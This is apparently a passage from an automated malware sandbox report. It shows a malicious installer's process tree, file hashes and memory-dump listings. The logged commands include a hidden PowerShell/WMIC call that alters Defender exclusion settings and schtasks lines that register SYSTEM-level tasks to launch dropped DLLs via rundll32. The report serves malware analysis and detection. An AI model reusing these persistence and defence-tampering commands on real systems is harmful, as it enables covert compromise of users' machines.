C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4532

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\bBBSFQQZU\VlltxK.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "LVynAQLCTpGcVPg" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4544

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LVynAQLCTpGcVPg2" /F /xml "C:\Program Files (x86)\bBBSFQQZU\YxLNKAB.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2444

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "LVynAQLCTpGcVPg"
2⤵
PID:4100

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LVynAQLCTpGcVPg"
2⤵
PID:2620

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KatXkYONgJxXkD" /F /xml "C:\Program Files (x86)\rUfZlqUIdWiU2\CLbcZCn.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4544

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PuJMQwokvjmjr2" /F /xml "C:\ProgramData\fHdtCMTPryqSDgVB\TGjMmAz.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3664

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jmhuFmncXBbhpBxSq2" /F /xml "C:\Program Files (x86)\rPikKiIbwrQGukIChiR\bVgZSWR.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1512

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "OztlfTauKwYVOQQXHnj2" /F /xml "C:\Program Files (x86)\NNMAoTKMcAkAC\slByYNN.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1744

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MRaTohzfdszDuijXP" /SC once /ST 02:10:54 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\QkRpUZnh\xtqpdoO.dll\",#1 /GSYjdidm 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:524

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MRaTohzfdszDuijXP"
2⤵
PID:5068

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MhsnVFKWmmyXGZkTD"
2⤵
PID:3996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1828 -s 2044
2⤵
- Program crash
PID:652

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\QkRpUZnh\xtqpdoO.dll",#1 /GSYjdidm 525403
1⤵
PID:3992

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\QkRpUZnh\xtqpdoO.dll",#1 /GSYjdidm 525403
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1132

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MRaTohzfdszDuijXP"
3⤵
PID:880

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\NNMAoTKMcAkAC\slByYNN.xml
Filesize
2KB

MD5
6bad4f9b2abc1ce9c122c022672c02f0

SHA1
a83443ddbc0542b6a781615a9f5827aa64a3bc3b

SHA256
82c2d9c3189533de9a7497f58bea2fe81b96bf3427d2b11f50ac722ce23fdf82

SHA512
17f304eedae98bd03437776f312a68e846786b0faa48cd436065571cb9ac0bfec2cf0b1228be5f8958d794dd992d359a089c9604d72ba07447f3bea88ade3ff9

Download Submit
C:\Program Files (x86)\bBBSFQQZU\YxLNKAB.xml
Filesize
2KB

MD5
bec04e192462df24ce0a82402569a29c

SHA1
2d198019148ae22567e549e4c252307dcf99dec9

SHA256
ebf414abdc6f06b80ebfae603d446b67eab833297f1c6a91f71a687976e1b27e

SHA512
c0d9148ccb3397ae3b87c3530e407fbd3985a64e4770e940191a8b137cf3c0cc11f94b1e4da01850b2801175ec4f8481c9fc3760638d1b0d22c909462d08df93

Download Submit
C:\Program Files (x86)\rPikKiIbwrQGukIChiR\bVgZSWR.xml
Filesize
2KB

MD5
bbbd2410d86bbe0d64f7ac9277d5bbb1

SHA1
1070105f8c279cc404503af86c3fdf68dc689a2e

SHA256
66f5d8789719306b3d35f1a463ed8d3ec7dc0203e17999e11b3df2a46f0ab65a

SHA512
86c147de61f906a1dfe119b7c99ca4a35aef30965c2fa5c1d145d40768428ff8bde14db5640597a680a96864002c26311378760396ebfc52f069836b0a177f2f

Download Submit
C:\Program Files (x86)\rUfZlqUIdWiU2\CLbcZCn.xml
Filesize
2KB

MD5
75114e408862e05a19a6ee78f324e97b

SHA1
ddb9103d964ff0995ed102f9c6cc07232fb2cb8b

SHA256
2d94a6aadb5771a4b501baaec2474e0b6a2cd91333a09566a787824ab3ffba12

SHA512
c86c65c8076a36dafa441f6eec697c02acdce1fd12833ada36b0e79b09b0abd367e80fa5c23b081e5735914b1f75bd69488d4ffddbf9c39acc6ab0ae9f3c359d

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
Filesize
2.0MB

MD5
2603c87ce9b46915dccc79ee8e6c1551

SHA1
263856538d3098b8ee1a842a58dca463b738e598

SHA256
1b3ce090d219f4bc436e2e9ff1688c835895fe42f1ad11ec2bca51960a8aee38

SHA512
33b65d80642f0ea62d39010d018ee024cf39dee5b73be4017f194498f5084993a3e57d48ed80b6819aec4a28f9b57f0a28d905d0f224f6d9dfeba092f75473fa

Download Submit
C:\ProgramData\fHdtCMTPryqSDgVB\TGjMmAz.xml
Filesize
2KB

MD5
0cc1e6cb9813c974a5390a3283cf287e

SHA1
dfe3e97edee4b3489a55c24c36baa3d36985a03e

SHA256
49749215ceab6357ebbe091845bd19cc1a4569a3bddd101c0fe75f7cb6276ebc

SHA512
0e9a2d53a92e5f30bb74655559c0701e94a36ce99781ddf6707840316c53a1db838ddc304ed201388bcfd2c470f83476b1640542ad8c27072a964426aefa04c2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
a9c6a3a6cc82a9a9bb441b3e7136f88b

SHA1
88a16ca861c28198b1ee71a96719c3ac56e0abe7

SHA256
ef14d09bf8cf0a7645ec1157665425123750de15fc44a9ba78ae0e625a2b9c32

SHA512
72dcf402e311e8bc6e1d96072c3d32bc3cf646fcd8eeb8a6d3f64b355edba3aced47f0009289a1eaa4121ab31fd593433b0058d4cf04fedd620408c6b855cafd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
74628ec63f2b3751360203bc3e249323

SHA1
63b25eb34e5b8aca453b53caeee2ce0c35815057

SHA256
993fc8793c25cd5a2405620915a8fe5a8813e9dbab56e9c9778bd3026487b730

SHA512
1670c0154ed921f39260d1f176044f7f6fc59e630636d53b2dc85b433e98c03feb75720989091af8e90c3ced3f4ccd2b6ae16a995517e5dbb46b8ad05567688c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS61D7.tmp\Install.exe
Filesize
6.4MB

MD5
fa6c8a4dcc2b50d9ecce866e6bf6bf82

SHA1
04f4665baccd0ada23349e69b93a1ebad7571a80

SHA256
13fec9b387fb25d13e8247a2efc8c45b044726d1aa24b692aac2a925b972fdff

SHA512
7d452b09893f8c2cb88fa22b89c55fb07b85ef65dc22bed96be74443c2f32df1dc502a789d7f11a118c49f7044a5b273e5bd4a2d3e8d1ccd6623b6a3c43dd2e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS638C.tmp\Install.exe
Filesize
6.6MB

MD5
c459c807bebcbb6553ff3388b249a9fd

SHA1
6e428b6c77c966e33c5c0e321d722b57bd3bf975

SHA256
9c3372c448ccebbe7b771c24c207a0ae0e145a25d0e96f5ffb0559ff5571154b

SHA512
7641130d16107aa5bdf16f39a6f9e6404230376bae4a9489b0b9462218075c4a0cea35cff3b434c6a352f05f49aca4a3f71839acf16cbe278ac49235ca6291cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4axcvy2p.iop.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\prefs.js
Filesize
6KB

MD5
c3de4d34cd84d2204b71f17b2b0f1fff

SHA1
c2bdcf2045fa5d7e30c858990e81e321ad0033f0

SHA256
6a2dc97282979fee4f091d3d3927e84cf6b91bf5de10bca4bae5437da8793d5b

SHA512
fe4de526fc9ff4dc200696d010e8b291356f8be010db4dc7b711fdc191002d94f8328038420d488ae99bb8a526f2a78263db20ee841c618824c5c836e3c108c9

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
e33ed3d4cc9b2e5a08ae25747ef47620

SHA1
e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7

SHA256
0e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f

SHA512
9e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
d5bcb077b0ba6302e6383ea08d1c89b5

SHA1
a7e0f6df140df245f1616b54df8ebf241f55b337

SHA256
81dff4187bc88d8e181a3bd3f81b345bb9da64c36d081d591ffeabfb0a88e0cd

SHA512
6eec000f14f225b4d4034b430868003b6d26cd623f97e0f8f076add22fe4608b6de1a5c7b33eab8094b7bb714c3688c8fc750b6fd6e530cf66c725a308607092

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
8e1d5ffe85ca1fbed8b6e03ba6979a6b

SHA1
1991efd0ee4d1ace9b479a5e72c69f0369122aae

SHA256
8d6109977b6054e77dd4358bd0b8df8d7ca773a6ae591d0d1a1d2076093663d9

SHA512
b24120ceee513868f6f00338d61ff995fab935a2e9b321cb04ca300c710e86383759a1cc3dc5fca99c7afee07f8472642f2f9210c76de1c9ece225cbd644355d

Download Submit
C:\Windows\Temp\WZpWNMsDzSAcKsSA\QkRpUZnh\xtqpdoO.dll
Filesize
6.5MB

MD5
2c5315f48e9b097d2c447e016743854f

SHA1
84006269f2b54df8bef71d46364bd82946b24759

SHA256
233a6dfcb0ea347aed469bac784313ce0fb0dbc2ce84b5f3b3561d4741b03dc2

SHA512
efd65e08582051bf7ef3795f7d0718aab625ea1500eaae19b0a665807b697e81a0e1dd580885765f364ab3e763ed913a19cbbe27327bc45ce0c1a0aeb65ce4ec

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
6KB

MD5
fa4ab2b7c89c5943f88f8ae0b12f3d42

SHA1
dd383010ae707003f995855b1995865672879c7c

SHA256
6cc8c13a3692843414fbf6563cf5873685dd77f7e9a1988c0388a45d8e45f47a

SHA512
d57ee1376efc7173e5e3db30e8879bda4a82c51d2098d007d7ab4b1ccd767a051ff4587598a96d50a9bd2271de41a074c2dc1a72eb729cee905d35ec8877fbaf

Download Submit
memory/1132-409-0x00000000037B0000-0x000000000737B000-memory.dmp

Filesize
59.8MB

Download
memory/1828-195-0x0000000003410000-0x0000000003470000-memory.dmp

Filesize
384KB

Download
memory/1828-388-0x0000000003E60000-0x0000000003F32000-memory.dmp

Filesize
840KB

Download
memory/1828-408-0x0000000001150000-0x00000000017F5000-memory.dmp

Filesize
6.6MB

Download
memory/1828-378-0x0000000003C70000-0x0000000003CF8000-memory.dmp

Filesize
544KB

Download
memory/1828-123-0x0000000001150000-0x00000000017F5000-memory.dmp

Filesize
6.6MB

Download
memory/1828-126-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/1828-138-0x0000000002C00000-0x0000000002C85000-memory.dmp

Filesize
532KB

Download
memory/1916-115-0x0000000000F80000-0x0000000001625000-memory.dmp

Filesize
6.6MB

Download
memory/1916-47-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/1916-45-0x0000000000F80000-0x0000000001625000-memory.dmp

Filesize
6.6MB

Download
memory/2376-53-0x0000000007550000-0x000000000759B000-memory.dmp

Filesize
300KB

Download
memory/2376-52-0x0000000007010000-0x0000000007360000-memory.dmp

Filesize
3.3MB

Download
memory/2688-17-0x0000000013BC0000-0x0000000013BC1000-memory.dmp

Filesize
4KB

Download
memory/2688-43-0x0000000000F80000-0x0000000001625000-memory.dmp

Filesize
6.6MB

Download
memory/2688-12-0x0000000000F80000-0x0000000001625000-memory.dmp

Filesize
6.6MB

Download
memory/2688-13-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/3132-154-0x0000000007610000-0x000000000765B000-memory.dmp

Filesize
300KB

Download
memory/3132-148-0x0000000007150000-0x00000000074A0000-memory.dmp

Filesize
3.3MB

Download
memory/4456-93-0x000001F9B22C0000-0x000001F9B2336000-memory.dmp

Filesize
472KB

Download
memory/4456-89-0x000001F999FD0000-0x000001F999FF2000-memory.dmp

Filesize
136KB

Download
memory/4592-27-0x0000000007F40000-0x0000000007F8B000-memory.dmp

Filesize
300KB

Download
memory/4592-23-0x0000000007350000-0x00000000073B6000-memory.dmp

Filesize
408KB

Download
memory/4592-24-0x00000000074A0000-0x0000000007506000-memory.dmp

Filesize
408KB

Download
memory/4592-22-0x0000000006C70000-0x0000000006C92000-memory.dmp

Filesize
136KB

Download
memory/4592-21-0x0000000006D20000-0x0000000007348000-memory.dmp

Filesize
6.2MB

Download
memory/4592-20-0x0000000001140000-0x0000000001176000-memory.dmp

Filesize
216KB

Download
memory/4592-25-0x0000000007610000-0x0000000007960000-memory.dmp

Filesize
3.3MB

Download
memory/4592-26-0x0000000007480000-0x000000000749C000-memory.dmp

Filesize
112KB

Download
memory/4592-28-0x0000000007C80000-0x0000000007CF6000-memory.dmp

Filesize
472KB

Download